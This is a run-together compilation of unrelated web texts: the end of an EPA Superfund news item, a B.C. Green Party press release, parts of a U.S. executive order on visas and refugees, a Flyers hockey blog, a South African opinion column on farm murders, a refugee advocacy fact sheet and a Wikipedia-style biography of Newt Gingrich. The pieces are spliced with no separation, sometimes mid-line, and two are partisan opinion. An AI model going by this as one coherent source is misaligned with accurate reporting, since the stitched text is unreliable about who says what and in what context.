“I have charged the Superfund Task Force to immediately and intently develop plans for each of these sites to ensure they are thoughtfully addressed with urgency,” he added.
Pruitt is trying to refashion the EPA, transitioning the agency from one that fights manmade global warming to one that protects human health and the environment.
Other areas in that region have also wrestled with stubbornly high lead levels. Flint citizens filed a lawsuit in January, for instance, claiming the agency failed to take the proper steps to ensure that state and local authorities were addressing last year’s water crisis. The defendants were seeking a civil action lawsuit for $722 million in damages.
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For licensing opportunities of our original content, please contact [email protected].VICTORIA, B.C. - Andrew Weaver, leader of the B.C. Green Party, introduced a Private Member’s Bill that would increase the ability of British Columbians to access public lands. Weaver first introduced the bill, the Right to Roam Act, 2017, in February 2017 under the previous B.C. Liberal government.
“The ability to access and experience nature is a right for all British Columbians, and we must protect it,” said Weaver.
“Spending time outside is vital to our wellbeing, as well as the protection of our environment. The more time people spend in their local ecosystem, the more they will care about protecting it.
“Increasingly, however, British Columbians are finding themselves fenced out of wild areas that have been enjoyed by the public for generations. Fences, gates and signs are blocking people from accessing crown land.
“Since the introduction of this bill for the first time last year, my office has received an endless stream of emails and phone calls from British Columbians who are struggling with this issue in their communities. It is clear that the right to access wilderness, especially on leased crown land, is a debate we need to have in B.C.”
This Bill, which is built on a combination of B.C.’s existing Hunting and Fishing Heritage Act and Nova Scotia’s Angling Act, would re-establish the rights of British Columbians to access public lands, rivers, streams, and lakes, and to use these spaces to fish, hike and enjoy outdoor recreation in accordance with the law.”
-30-
Media contact
Jillian Oliver, Press Secretary
+1 778-650-0597 | newsroom@bcgreens.ca(e) After the 60-day period described in subsection (d) of this section expires, the Secretary of Homeland Security, in consultation with the Secretary of State, shall submit to the President a list of countries recommended for inclusion on a Presidential proclamation that would prohibit the entry of foreign nationals (excluding those foreign nationals traveling on diplomatic visas, North Atlantic Treaty Organization visas, C-2 visas for travel to the United Nations, and G-1, G-2, G-3, and G-4 visas) from countries that do not provide the information requested pursuant to subsection (d) of this section until compliance occurs.
(f) At any point after submitting the list described in subsection (e) of this section, the Secretary of State or the Secretary of Homeland Security may submit to the President the names of any additional countries recommended for similar treatment.
(g) Notwithstanding a suspension pursuant to subsection (c) of this section or pursuant to a Presidential proclamation described in subsection (e) of this section, the Secretaries of State and Homeland Security may, on a case-by-case basis, and when in the national interest, issue visas or other immigration benefits to nationals of countries for which visas and benefits are otherwise blocked.
(h) The Secretaries of State and Homeland Security shall submit to the President a joint report on the progress in implementing this orderwithin 30 days of the date of this order, a second report within 60 daysof the date of this order, a third report within 90 days of the date of this order, and a fourth report within 120 days of the date of this order.
Sec. 4. Implementing Uniform Screening Standards for All Immigration Programs. (a) The Secretary of State, the Secretary of Homeland Security, the Director of National Intelligence, and the Director of the Federal Bureau of Investigation shall implement a program, as part of the adjudication process for immigration benefits, to identify individuals seeking to enter the United States on a fraudulent basis with the intent to cause harm, or who are at risk of causing harm subsequent to their admission. This program will include the development of a uniform screening standard and procedure, such as in-person interviews; a database of identity documents proffered by applicants to ensure that duplicate documents are not used by multiple applicants; amended application forms that include questions aimed at identifying fraudulent answers and malicious intent; a mechanism to ensure that the applicant is who the applicant claims to be; a process to evaluate the applicant’s likelihood of becoming a positively contributing member of society and the applicant’s ability to make contributions to the national interest; and a mechanism to assess whether or not the applicant has the intent to commit criminal or terrorist acts after entering the United States.
(b) The Secretary of Homeland Security, in conjunction with the Secretary of State, the Director of National Intelligence, and the Director of the Federal Bureau of Investigation, shall submit to the President an initial report on the progress of this directive within 60 days of the date of this order, a second report within 100 days of the date of this order, and a third report within 200 days of the date of this order.
Sec. 5. Realignment of the U.S. Refugee Admissions Program for Fiscal Year 2017. (a) The Secretary of State shall suspend the U.S. Refugee Admissions Program (USRAP) for 120 days. During the 120-day period, the Secretary of State, in conjunction with the Secretary of Homeland Security and in consultation with the Director of National Intelligence, shall review the USRAP application and adjudication process to determine what additional procedures should be taken to ensure that those approved for refugee admission do not pose a threat to the security and welfare of the United States, and shall implement such additional procedures. Refugee applicants who are already in the USRAP process may be admitted upon the initiation and completion of these revised procedures. Upon the date that is 120 days after the date of this order, the Secretary of State shall resume USRAP admissions only for nationals of countries for which the Secretary of State, the Secretary of Homeland Security, and the Director of National Intelligence have jointly determined that such additional procedures are adequate to ensure the security and welfare of the United States.You may have read about the quirky coincidences between the presidencies of Abraham Lincoln and John F. Kennedy.
(If not, go here)
While they are steeped in a bit of strange synchronicity, they are often considered happenstance, although some think it’s eerie.
In the world of sports, there are several parallels between teams that have that same weird dichotomy. We wouldn’t have cliché sayings like, “History repeats itself” if these concurrences didn’t exist.
So, what if I told you the 2010 Flyers and the 2014 Flyers have a lot of that same concomitance?
I know, I know. This is a cheap attempt to get you thinking that maybe, if the stars align properly again as they did four years ago then this Flyers team can make the same dramatic run to the Finals.
While that sounds nice, it isn’t the intention (even if it’s mentioned on our infographic),
It was just something we decided to research after Flyers Chairman Ed Snider’s comments on the Olympics last week when, after saying he hates the Olympic break in the NHL one reporter reminded him that he went to the Stanley Cup Finals the last time there was an Olympics and Snider joked that maybe he actually does like them then.
When we went back to look, we were a bit surprised by what we found.
Sure, the teams started off a bit differently. We all know how painful the start to this season was, with seven losses in the first eight games. Well, those Flyers were 5-2-1 in their first eight games, so there was no symmetry there.
But there were these points:
1.Both teams had a coaching change in-season. The 2009-10 Flyers replaced John Stevens with Peter Laviolette. They were 13-11-1 at the time. This season, the Flyers replaced Laviolette with Craig Berube. They were 0-3-0 at the time, however, after 25 games, they were 11-12-2, only three points off.
Not coincidental enough for you? Then try this on for size:
2.Both teams hit the Olympic break with similar records. In 2010 the Flyers were 32-25-3 for 67 points in 60 games, the current Flyers are 30-23-6 for 66 points in 59 games. Oh, and both were on a four-game winning streak when the break hit.
Hmmmm. Let’s look at it a step further.
3.At the Olympic break, the Flyers leading scorers among forwards this season are Claude Giroux (57 points), Wayne Simmonds (42 points), Jake Voracek (40 points) and Scott Hartnell (37 points). In 2010 it was Jeff Carter (52 points, five fewer than Giroux), Mike Richards (46 points, four more than Simmonds, Danny Briere (40 points, same as Voracek) and Scott Hartnell (35 points, two fewer than he has this year.) All told the point comparison is 173 in 2010, 176 in 2014. Pretty close, eh?
“Yeah, but what about goaltending,” you may say. “The Flyers had a carousel of goalies in 2010, they have been riding Steve Mason this year, with the occasional break from Ray Emery.”
And you would be right… except, if you really want to look at it deeply:
4.Michael Leighton ended up being the guy who was recognized as the No. 1 goalie in 2009-10 for the Flyers (even though Brian Boucher appeared in six more games), albeit at a smaller sample size than Mason has already provided. However, if you look at those overall numbers for Leighton, and assume Mason stays about the same, it’s actually frighteningly close – Mason: 23-14-5, 2.49 goals against average,.918 save percentage; Leighton: 16-6-0, 2.48 GAA,.918 save percentage.
The one thing these Flyers need to hope though is that the regular season accordance ends there. Because those Flyers in 2010 went a lukewarm 9-10-3 down the stretch and sneaked into the playoffs in a shootout on the final day of the season.
If this season’s Flyers go were to match that (actually, with one more game, say 9-10-4), they’d finish 39-33-10 for 88 points, which would be the same number of points as 2009-10, but likely won’t be enough to get in the playoffs this year (anything is possible, but the target number appears to be 92 points).
No matter what happens the rest of the way though, the Flyers should hope that if they do return to the postseason this spring that the parallelism resumes – and that run to the Finals can come with it.
To contact Anthony SanFilippo, email asanfilippo@comcast-spectacor.com or follow him on Twitter @InsideTheFlyersSome condone it. A few openly encourage it. No one wants to hear about it. Few want to talk about it. It is a topic that much of the media and social media commentariat shy from.
It is the sustained and steadily increasing murder of farmers and, to a lesser extent, of their workers. It’s a slaughter that goes almost unremarked upon.
This week the police portfolio committee was presented with South Africa’s annual national crime statistics. They showed a worrying growth in violent crime, with murder up 1.8%.
The Freedom Front Plus (FF+) castigated the police for failing to provide specific numbers of farm killings and attacks, as they had promised to do. But, there are other sources.
According to the Transvaal Agricultural Union, there have been 1 824 farm murders over the past 27 years, while the FF+ claims 3 100 farm killings in 15 000 attacks over the same period.
Following a dip to 56 murders in 2011/12, there has been an increase, with AfriForum’s statistics showing 70 murders and 357 farm attacks last year.
This year, so far 74 farmers have been killed, with the historically violent months of November and December yet to come.
Saps statistics show that 34.1 South Africans are murdered per 100 000 of the population.
Among commercial farmers – estimated by the Institute for Security Studies to number about 32 000 – this rises to 156 per 100 000, making a violent death on a farm 4.5 times more likely than the SA norm, says AfriForum.
The violence meted out in such attacks is also often brutal, with the victims sadistically tortured. Lorraine Claasen, AfriForum’s criminologist, notes that in the past few months there is a new recklessness.
“The attackers just enter and open fire on anyone and everyone. There’s no research to substantiate a political motivation. But there is no doubt that the defining characteristic of South Africa today is its culture of frustration, anger and aggression.”
The polarised nature of SA society cannot help. Social media is full of race-fuelled vitriol, while the authorities seem to be indifferent to outrageous threats from the EFF against minorities and farmers. To condone violence is to encourage it.
The tenor of much public discussion on farm killings is that they are to be expected, even justified by whites’ “illegal” occupation of land and the way some farmers treat employees.
After years of vacillating over whether to prioritise efforts to prevent farm attacks or to pretend they are just everyday crime, new Police Minister Fikile Mbabula seems to have a refreshing approach. He ordered the missing statistics to be compiled and released immediately.
He said also his ministry was developing a rural safety strategy. But he was unable to resist shooting from the hip.
Farmers, he said, should not cry foul if they were attacked “because they employ people from Zimbabwe as cheap labour and exploit them, then those people turn against them and kill them”.
So now you know. The consensus of the commentariat and the minister of police is that farm killings are the fault of farmers. Or maybe Zimbabweans.
It apparently has nothing to do with poor policing or a politically expedient tolerance of violence by influential voices in our society.
For more news your way, follow The Citizen on Facebook and Twitter.
Read original story on citizen.co.zaReports from multiple news sources have confirmed that the Trump administration is poised to set 2018 refugee admissions levels at 45,000—the lowest in the nation’s history. Here’s what the administration has said in its report to Congress to justify these historically low numbers, at a historically high time of need, and the facts you should know:
FICTION #1:
There is no way to securely vet all refugees who come to the U.S.
FACT: The integrity of security procedures in the U.S. resettlement program is evidenced by the fact that, while over 3 million refugees have been admitted to the U.S. since 1980, not a single refugee has committed a lethal terrorist attack on U.S. soil.
FICTION #2:
Refugees are a security risk as demonstrated by the fact that the FBI is investigating 300 refugees for connections to terrorism.
FACT: 300 refugees is an immensely small fraction of resettled refugees in the U.S. and is not representative of the population writ large. According to CATO, 300 refugees represents less than 0.009 percent of all refugees admitted to the U.S. since 1975. It is a far cry from a statistically significant portion of the refugee population and should not have any bearing on our understanding of the resettled refugee population. Even if those 300 refugees were resettled to the U.S. in a single year, they would represent less than 1% of the total number of refugees accepted on average per year since 1980. [1]
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contained lists of "contrasting words"—words with negative connotations such as "radical", "sick," and "traitors"—and "optimistic positive governing words" such as "opportunity", "courage", and "principled", that Gingrich recommended for use in describing Democrats and Republicans, respectively.[42]
Due to population increases recorded in the 1990 United States Census, Georgia picked up an additional seat for the 1992 U.S. House elections. However, the Democratic-controlled Georgia General Assembly, under the leadership of fiercely partisan Speaker of the House Tom Murphy, specifically targeted Gingrich, eliminating the district Gingrich represented.[44] Gerrymandering split Gingrich's territory among three neighboring districts. Much of the southern portion of Gingrich's district, including his home in Carrollton, was drawn into the Columbus-based 3rd District, represented by five-term Democrat Richard Ray. Gingrich remarked that "The Speaker, by raising money and gerrymandering, has sincerely dedicated a part of his career to wiping me out."[44]
At the same time, the Assembly created a new, heavily Republican 6th District in Fulton and Cobb counties in the wealthy northern suburbs of Atlanta—an area that Gingrich had never represented. Gingrich sold his home in Carrollton and moved to Marietta in the new 6th. His primary opponent, State Representative Herman Clark, made an issue out of Gingrich's 22 overdraft checks in the House Bank Scandal, and also criticized Gingrich for moving into the district. After a recount, Gingrich prevailed by 980 votes, with a 51% to 49% result.[45] His winning the primary all but assured him of election in November. He was re-elected three times from this district against nominal Democratic opposition.[citation needed]
In the 1994 campaign season, in an effort to offer an alternative to Democratic policies and to unite distant wings of the Republican Party, Gingrich and several other Republicans came up with a Contract with America, which laid out ten policies that Republicans promised to bring to a vote on the House floor during the first hundred days of the new Congress, if they won the election.[46] The contract was signed by Gingrich and other Republican candidates for the House of Representatives. The contract ranged from issues such as welfare reform, term limits, tougher crime laws, and a balanced budget law, to more specialized legislation such as restrictions on American military participation in United Nations missions.[citation needed]
In the November 1994 elections, Republicans gained 54 seats and took control of the House for the first time since 1954. Long-time House Minority Leader Bob Michel of Illinois had not run for re-election, giving Gingrich, the highest-ranking Republican returning to Congress, the inside track at becoming Speaker. The midterm election that turned congressional power over to Republicans "changed the center of gravity" in the nation's capital.[47] Time magazine named Gingrich its 1995 "Man of the Year" for his role in the election.[3]
Speaker of the House [ edit ]
The House fulfilled Gingrich's promise to bring all ten of the Contract's issues to a vote within the first 100 days of the session. President Clinton called it the "Contract on America".[48]
Legislation proposed by the 104th United States Congress included term limits for Congressional Representatives, tax cuts, welfare reform, and a balanced budget amendment, as well as independent auditing of the finances of the House of Representatives and elimination of non-essential services such as the House barbershop and shoe-shine concessions. Following Gingrich's first two years as House Speaker, the Republican majority was re-elected in the 1996 election, the first time Republicans had done so in 68 years, and the first time simultaneously with a Democratic president winning re-election.[49]
As Speaker, Gingrich sought to increasingly tie Christian conservatism to the Republican Party. According to a 2018 study, Christian conservatism had become firmly ingrained in the Republican Party's policy platforms by 2000.[6] Yale University congressional scholar David Mayhew describes Gingrich as profoundly influential, saying "In Gingrich, we have as good a case as we are likely to see of a member of Congress operating in the public sphere with consequence."[50]
Role in political polarization [ edit ]
A number of scholars have credited Gingrich with playing a key role in undermining democratic norms in the United States, and hastening political polarization and partisan prejudice.[6][7][8][51][52][53][54][55][9][56][57] According to Harvard University political scientists Daniel Ziblatt and Steven Levitsky, Gingrich's speakership had a profound and lasting impact on American politics and health of American democracy. They argue that Gingrich instilled a "combative" approach in the Republican Party, where hateful language and hyper-partisanship became commonplace, and where democratic norms were abandoned. Gingrich frequently questioned the patriotism of Democrats, called them corrupt, compared them to fascists, and accused them of wanting to destroy the United States. Gingrich furthermore oversaw several major government shutdowns, as well as impeached President Clinton in a partisan fashion.[58][59][60][52]
University of Maryland political scientist Lilliana Mason uses Gingrich's instructions to Republicans to use words such as “betray, bizarre, decay, destroy, devour, greed, lie, pathetic, radical, selfish, shame, sick, steal, and traitors” about Democrats as an example of a breach in social norms and exacerbation of partisan prejudice.[6] Gingrich is a key figure in the 2017 book The Polarizers by Colgate University political scientist Sam Rosenfeld about the American political system's shift to polarization and gridlock.[7] Rosenfeld describes Gingrich as follows, "For Gingrich, responsible party principles were paramount... From the outset, he viewed the congressional minority party’s role in terms akin to those found in parliamentary systems, prioritizing drawing stark programmatic contrasts over engaging the majority party as junior participants in governance."[7]
Boston College political scientist David Hopkins writes that Gingrich helped to nationalize American politics in a way where Democratic politicians on the state and local level were increasingly tied to the national Democratic party and President Clinton. Hopkins notes that Gingrich's view[57]
directly contradicted the conventional wisdom of politics... that parties in a two-party system achieve increasing electoral success as they move closer to the ideological center... Gingrich and his allies believed that an organized effort to intensify the ideological contrast between the congressional parties would allow the Republicans to make electoral inroads in the South. They worked energetically to tie individual Democratic incumbents to the party ’ s more liberal national leadership while simultaneously raising highly charged cultural issues in Congress, such as proposed constitutional amendments to allow prayer in public schools and to ban the burning of the American flag, on which conservative positions were widely popular – especially among southern voters.
Gingrich's view was however vindicated with the Republican Party's success in the 1994 U.S. midterm elections, sometimes referred to as the "Gingrich Revolution."[57] Hopkins writes, "More than any speaker before or since, Gingrich had become both the strategic architect and public face of his party."[57] One consequence of the increasing nationalization of politics was that moderate Republican incumbents in blue states were left more vulnerable to electoral defeat.[57]
According to University of Texas political scientist Sean M. Theriault, Gingrich had a profound influence on other Republican lawmakers, in particular those who served with him in the House, as they adopted his obstructionist tactics.[8] A 2011 study by Theriault and Duke University political scientist David W. Rohde in the Journal of Politics found that "almost the entire growth in Senate party polarization since the early 1970s can be accounted for by Republican senators who previously served in the House after 1978" when Gingrich was first elected to the House.[61]
Gingrich consolidated power in the Speaker's office.[56] Gingrich elevated junior and more ideologically extreme House members to powerful committees, such as the Appropriations Committee, which over time led to the obliteration of internal norms in the committees.[54][62] Term limits were also imposed on committee chairs, which prevented Republican chairs from developing a power base separate from the Republican Party.[62] As a result, the power of Gingrich was strengthened and there were was an increase in conformity among Republican congresspeople.[63]
Legislation [ edit ]
Welfare reform [ edit ]
A central pledge of President Bill Clinton's campaign was to reform the welfare system, adding changes such as work requirements for recipients. However, by 1994, the Clinton Administration appeared to be more concerned with pursuing a universal health care program. Gingrich accused Clinton of stalling on welfare, and proclaimed that Congress could pass a welfare reform bill in as little as 90 days. He insisted that the Republican Party would continue to apply political pressure to the President to approve their welfare legislation.[64]
In 1996, after constructing two welfare reform bills that Clinton vetoed,[65] Gingrich and his supporters pushed for passage of the Personal Responsibility and Work Opportunity Act, which was intended to reconstruct the welfare system. The act gave state governments more autonomy over welfare delivery, while also reducing the federal government's responsibilities. It instituted the Temporary Assistance for Needy Families program, which placed time limits on welfare assistance and replaced the longstanding Aid to Families with Dependent Children program. Other changes to the welfare system included stricter conditions for food stamp eligibility, reductions in immigrant welfare assistance, and work requirements for recipients.[66] The bill was signed into law by President Clinton on August 22, 1996.[citation needed]
In his 1998 book Lessons Learned the Hard Way, Gingrich encouraged volunteerism and spiritual renewal, placing more importance on families, creating tax incentives and reducing regulations for businesses in poor neighborhoods, and increasing property ownership by low-income families. He also praised Habitat for Humanity for sparking the movement to improve people's lives by helping them build their own homes.[67]
Balancing the federal budget [ edit ]
Although congressional Republicans had opposed Clinton's Deficit Reduction Act of 1993, a key aspect of the 1994 Contract with America was the promise of a balanced federal budget. After the end of the government shutdown, Gingrich and other Republican leaders acknowledged that Congress would not be able to draft a balanced budget in 1996. Instead, they opted to approve some small reductions that were already approved by the White House and to wait until the next election season.[68]
By May 1997, Republican congressional leaders reached a compromise with Democrats and President Clinton on the federal budget. The agreement called for a federal spending plan designed to reduce the federal deficit and achieve a balanced budget by 2002. The plan included a total of $152 billion in bipartisan tax cuts over five years.[69] Other major parts of the spending plan called for $115 billion to be saved through a restructuring of Medicare, $24 billion set aside to extend health insurance to children of the working poor, tax credits for college tuition, and a $2 billion welfare-to-work jobs initiative.[70][71]
President Clinton signed the budget legislation in August 1997. At the signing, Gingrich gave credit to ordinary Americans stating, "It was their political will that brought the two parties together."[69]
In early 1998, with the economy performing better than expected, increased tax revenues helped reduce the federal budget deficit to below $25 billion. Clinton submitted a balanced budget for 1999, three years ahead of schedule originally proposed, making it the first time the federal budget had been balanced since 1969.[citation needed]
Taxpayer Relief Act of 1997 [ edit ]
In 1997, President Clinton signed into effect the Taxpayer Relief Act of 1997, which included the largest capital gains tax cut in U.S. history. Under the act, the profits on the sale of a personal residence ($500,000 for married couples, $250,000 for singles) were exempted if lived in for at least 2 years over the last 5. (This had previously been limited to a $125,000 once-in-a-lifetime exemption for those over the age of 55.)[72] There were also reductions in a number of other taxes on investment gains.[73][74]
Additionally, the act raised the value of inherited estates and gifts that could be sheltered from taxation.[74] Gingrich has been credited with creating the agenda for the reduction in capital gains tax, especially in the "Contract with America", which set out to balance the budget and implement decreases in estate and capital gains tax. Some Republicans felt that the compromise reached with Clinton on the budget and tax act was inadequate,[75] however Gingrich has stated that the tax cuts were a significant accomplishment for the Republican Congress in the face of opposition from the Clinton administration.[76] Gingrich along with Bob Dole had earlier set-up the Kemp Commission, headed by former US Secretary of Housing and Urban Development Jack Kemp, a tax reform commission that made several recommendations including that dividends, interest, and capital gains should be untaxed.[77][78]
Other legislation [ edit ]
Among the first pieces of legislation passed by the new Congress under Gingrich was the Congressional Accountability Act of 1995, which subjected members of Congress to the same laws that apply to businesses and their employees, including the Civil Rights Act of 1964 and the Americans with Disabilities Act of 1990. As a provision of the Contract with America, the law was symbolic of the new Republican majority's goal to remove some of the entitlements enjoyed by Congress. The bill received near universal acceptance from the House and Senate and was signed into law on January 23, 1995.[79]
Gingrich shut down the highly regarded Office of Technology Assessment, and relied instead on what the Bulletin of the Atomic Scientists called "self-interested lobbyists and think tanks".[80]
Government shutdown [ edit ]
Gingrich and the incoming Republican majority's promise to slow the rate of government spending conflicted with the president's agenda for Medicare, education, the environment and public health, leading to two temporary shutdowns of the federal government totaling 28 days.[81]
Clinton said Republican amendments would strip the U.S. Treasury of its ability to dip into federal trust funds to avoid a borrowing crisis. Republican amendments would have limited appeals by death-row inmates, made it harder to issue health, safety and environmental regulations, and would have committed the president to a seven-year balanced budget. Clinton vetoed a second bill allowing the government to keep operating beyond the time when most spending authority expires.[81]
A GOP amendment opposed by Clinton would not only have increased Medicare Part B premiums, but it would also cancel a scheduled reduction. The Republicans held out for an increase in Medicare part B premiums in January 1996 to $53.50 a month. Clinton favored the then current law, which was to let the premium that seniors pay drop to $42.50.[81]
The government closed most non-essential offices during the shutdown, which was the longest in U.S. history. The shutdown ended when Clinton agreed to submit a CBO-approved balanced budget plan.[82]
During the crisis, Gingrich's public image suffered from the perception that the Republicans' hardline budget stance was owed partly to an alleged snub of Gingrich by Clinton during a flight on Air Force One to and from Yitzhak Rabin's funeral in Israel.[83] That perception developed after the trip when Gingrich, while being questioned by Lars-Erik Nelson at a Christian Science Monitor breakfast, said that he was dissatisfied that Clinton had not invited him to discuss the budget during the flight.[84] He complained that he and Dole were instructed to use the plane's rear exit to deplane, saying the snub was "part of why you ended up with us sending down a tougher continuing resolution".[85] In response to Gingrich's complaint that they were "forced to use the rear door," NBC news released their videotape footage showing both Gingrich and Dole disembarking at Tel Aviv just behind Clinton via the front stairway.[86]
Gingrich was widely lampooned for implying that the government shutdown was a result of his personal grievances, including a widely shared editorial cartoon depicting him as a baby throwing a tantrum.[87] Democratic leaders, including Chuck Schumer, took the opportunity to attack Gingrich's motives for the budget standoff.[88][89] In 1998, Gingrich said that these comments were his "single most avoidable mistake" as Speaker.[90]
Discussing the impact of the government shutdown on the Republican Party, Gingrich later commented that, "Everybody in Washington thinks that was a big mistake. They're exactly wrong. There had been no reelected Republican majority since 1928. Part of the reason we got reelected... is our base thought we were serious. And they thought we were serious because when it came to a show-down, we didn't flinch."[91] In a 2011 op-ed in The Washington Post, Gingrich said that the government shutdown led to the balanced-budget deal in 1997 and the first four consecutive balanced budgets since the 1920s, as well as the first re-election of a Republican majority since 1928.[92]
Ethics charges and reprimand [ edit ]
Eighty-four ethics charges were filed by Democrats against Gingrich during his term as Speaker. All were eventually dropped except for one: claiming tax-exempt status for a college course run for political purposes.[93] On January 21, 1997, the House officially reprimanded Gingrich (in a vote of 395 in favor, 28 opposed) and "ordered [him] to reimburse the House for some of the costs of the investigation in the amount of $300,000".[94][95][96] It was the first time a Speaker was disciplined for an ethics violation.[96][97]
Additionally, the House Ethics Committee concluded that inaccurate information supplied to investigators represented "intentional or... reckless" disregard of House rules.[98] The Ethics Committee's Special Counsel James M. Cole concluded that Gingrich had violated federal tax law and had lied to the ethics panel in an effort to force the committee to dismiss the complaint against him. The full committee panel did not agree whether tax law had been violated and left that issue up to the IRS.[98] In 1999, the IRS cleared the organizations connected with the "Renewing American Civilization" courses under investigation for possible tax violations.[99]
Regarding the situation, Gingrich said in January 1997, "I did not manage the effort intensely enough to thoroughly direct or review information being submitted to the committee on my behalf. In my name and over my signature, inaccurate, incomplete and unreliable statements were given to the committee, but I did not intend to mislead the committee... I brought down on the people's house a controversy which could weaken the faith people have in their government."[100]
Leadership challenge [ edit ]
Dick Gephardt tried to replace Gingrich as Speaker of the House
In the summer of 1997, several House Republicans attempted to replace him as Speaker, claiming Gingrich's public image was a liability. The attempted "coup" began July 9 with a meeting of Republican conference chairman John Boehner of Ohio and Republican leadership chairman Bill Paxon of New York. According to their plan, House Majority Leader Dick Armey, House Majority Whip Tom DeLay, Boehner and Paxon were to present Gingrich with an ultimatum: resign, or be voted out. However, Armey balked at the proposal to make Paxon the new Speaker, and told his chief of staff to warn Gingrich.[101] On July 11, Gingrich met with senior Republican leadership to assess the situation. He explained that under no circumstance would he step down. If he was voted out, there would be a new election for Speaker. This would allow for the possibility that Democrats, along with dissenting Republicans, would vote in Democrat Dick Gephardt as Speaker. On July 16, Paxon offered to resign his post, feeling that he had not handled the situation correctly, as the only member of the leadership who had been appointed to his position—by Gingrich—instead of elected.[102]
Resignation [ edit ]
In 1998, Republicans lost five seats in the House—the worst midterm performance in 64 years by a party not holding the presidency. Gingrich, who won his reelection, was held largely responsible for Republican losses in the House. His private polls had given his fellow Republican Congress the impression that pushing the Lewinsky scandal would damage Clinton's popularity and result in the party winning a net total of six to thirty seats in the US House of Representatives in this election.[103] The day after the election, a Republican caucus ready to rebel against him prompted his resignation of the speakership. He also announced his intended and eventual full departure from the House in January 1999.[104] When relinquishing the speakership, Gingrich said he was "not willing to preside over people who are cannibals," and claimed that leaving the House would keep him from overshadowing his successor.[104]
Gingrich has since remained involved in national politics and public policy debate. McKay Coppins of The Atlantic summarized time with Gingrich in 2018:
"[Gingrich] is dabbling in geopolitics, dining in fine Italian restaurants. When he feels like traveling, he crisscrosses the Atlantic in business class, opining on the issues of the day from bicontinental TV studios and giving speeches for $600 a minute. There is time for reading, and writing, and midday zoo trips—and even he will admit, 'It’s a very fun life.' The world may be burning, but Newt Gingrich is enjoying the spoils."[105]
Policy [ edit ]
In 2003, he founded the Center for Health Transformation. Gingrich supported the Medicare Prescription Drug, Improvement, and Modernization Act of 2003, creating the Medicare Part D federal prescription drugs benefit program. Some conservatives have criticized him for favoring the plan, due to its cost. However, Gingrich has remained a supporter, stating in a 2011 interview that it was a necessary modernization of Medicare, which was created before pharmaceutical drugs became standard in medical care. He has said that the increase in cost from medication must be seen as preventive, leading to reduced need for medical procedures.[106] In a May 15, 2011, interview on Meet the Press, Gingrich repeated his long-held belief that "all of us have a responsibility to pay—help pay for health care", and suggested this could be implemented by either a mandate to obtain health insurance or a requirement to post a bond ensuring coverage.[107][108] In the same interview Gingrich said "I don't think right-wing social engineering is any more desirable than left-wing social engineering. I don't think imposing radical change from the right or the left is a very good way for a free society to operate." This comment caused backlash within the Republican Party.[107][108]
In 2005, with Hillary Clinton, Gingrich announced the proposed 21st Century Health Information Act, a bill which aimed to replace paperwork with confidential, electronic health information networks.[109] Gingrich also co-chaired an independent congressional study group made up of health policy experts formed in 2007 to evaluate the strengths and weaknesses of action taken within the U.S. to fight Alzheimer's disease.[110]
Gingrich has served on several commissions, including the Hart-Rudman Commission, formally known as the U.S. Commission on National Security/21st century, which examined national security issues affecting the armed forces, law enforcement and intelligence agencies.[111] In 2005 he became the co-chair of a task force for UN reform, which aimed to produce a plan for the U.S. to help strengthen the UN.[112] For over two decades, Gingrich has taught at the United States Air Force's Air University, where he is the longest-serving teacher of the Joint Flag Officer Warfighting Course.[113] In addition, he is an honorary Distinguished Visiting Scholar and Professor at the National Defense University and teaches officers from all of the defense services.[114][115] Gingrich informally advised Defense secretary Donald Rumsfeld on strategic issues, on issues including the Israeli–Palestinian conflict and encouraging the Pentagon to not "yield" foreign policy influence to the State Department and National Security Council.[116] Gingrich is also a guiding coalition member of the Project on National Security Reform.[citation needed]
Gingrich founded and served as the chairman of American Solutions for Winning the Future, a 527 group established by Gingrich in 2007.[117] The group was a "fundraising juggernaut" that raised $52 million from major donors, such as Sheldon Adelson and the coal company Peabody Energy.[117] The group promoted deregulation and increased offshore oil drilling and other fossil-fuel extraction and opposed the Employee Free Choice Act;[117][118] Politico reported, "The operation, which includes a pollster and fundraisers, promotes Gingrich’s books, sends out direct mail, airs ads touting his causes and funds his travel across the country."[118] American Solutions closed in 2011 after he left the organization.[117]
Other organizations and companies founded or chaired by Gingrich include the creative production company Gingrich Productions,[119] and religious educational organization Renewing American Leadership.[120]
Gingrich is a member of the Council on Foreign Relations.[121]
He is a fellow at conservative think tanks the American Enterprise Institute and Hoover Institution. He sometimes serves as a commentator, guest or panel member on cable news shows, such as the Fox News Channel. He is listed as a contributor by Fox News Channel, and frequently appears as a guest on various segments; he has also hosted occasional specials for the Fox News Channel. Gingrich has signed the "Strong America Now" pledge committing to promoting Six Sigma methods to reduce government spending.[122]
Gingrich founded Advocates for Opioid Recovery together with former Rep. Patrick J. Kennedy and Van Jones, a former domestic policy adviser to President Barack Obama.[123]
Businesses [ edit ]
After leaving Congress in 1999, Gingrich started a number of for-profit companies:[124] Between 2001 and 2010, the companies he and his wife owned in full or part had revenues of almost $100 million.[125] Currently, Gingrich serves as an advisor to the Canadian mining company Barrick Gold.[126]
According to financial disclosure forms released in July 2011, Gingrich and his wife had a net worth of at least $6.7 million in 2010, compared to a maximum net worth of $2.4 million in 2006. Most of the increase in his net worth was because of payments to him from his for-profit companies.[127]
Gingrich Group and the Center for Health Transformation [ edit ]
The Gingrich Group was organized in 1999 as a consulting company. Over time, its non-health clients were dropped, and it was renamed the Center for Health Transformation. The two companies had revenues of $55 million between 2001 and 2010.[128] The revenues came from more than 300 health-insurance companies and other clients, with membership costing as much as $200,000 per year in exchange for access to Gingrich and other perks.[125][129] In 2011, when Gingrich became a presidential candidate, he sold his interest in the business and said he would release the full list of his clients and the amounts he was paid, "to the extent we can".[128][130]
In April 2012, the Center for Health Transformation filed for Chapter 7 bankruptcy, planning to liquidate its assets to meet debts of $1–$10 million.[131][132]
Between 2001 and 2010, Gingrich consulted for Freddie Mac, a government-sponsored secondary home mortgage company, which was concerned about new regulations under consideration by Congress. Regarding payments of $1.6 million for the consulting,[128] Gingrich said that "Freddie Mac paid Gingrich Group, which has a number of employees and a number of offices, a consulting fee, just like you would pay any other consulting firm."[133] In January 2012, he said that he could not make public his contract with Freddie Mac, even though the company gave permission, until his business partners in the Center for Health Transformation also agreed to that.[134]
Gingrich Productions [ edit ]
Gingrich Productions, which is headed by Gingrich's wife Callista Gingrich, was created in 2007. According to the company's website, in May 2011, it is "a performance and production company featuring the work of Newt and Callista Gingrich. Newt and Callista host and produce historical and public policy documentaries, write books, record audio books and voiceovers, produce photographic essays, and make television and radio appearances."[130]
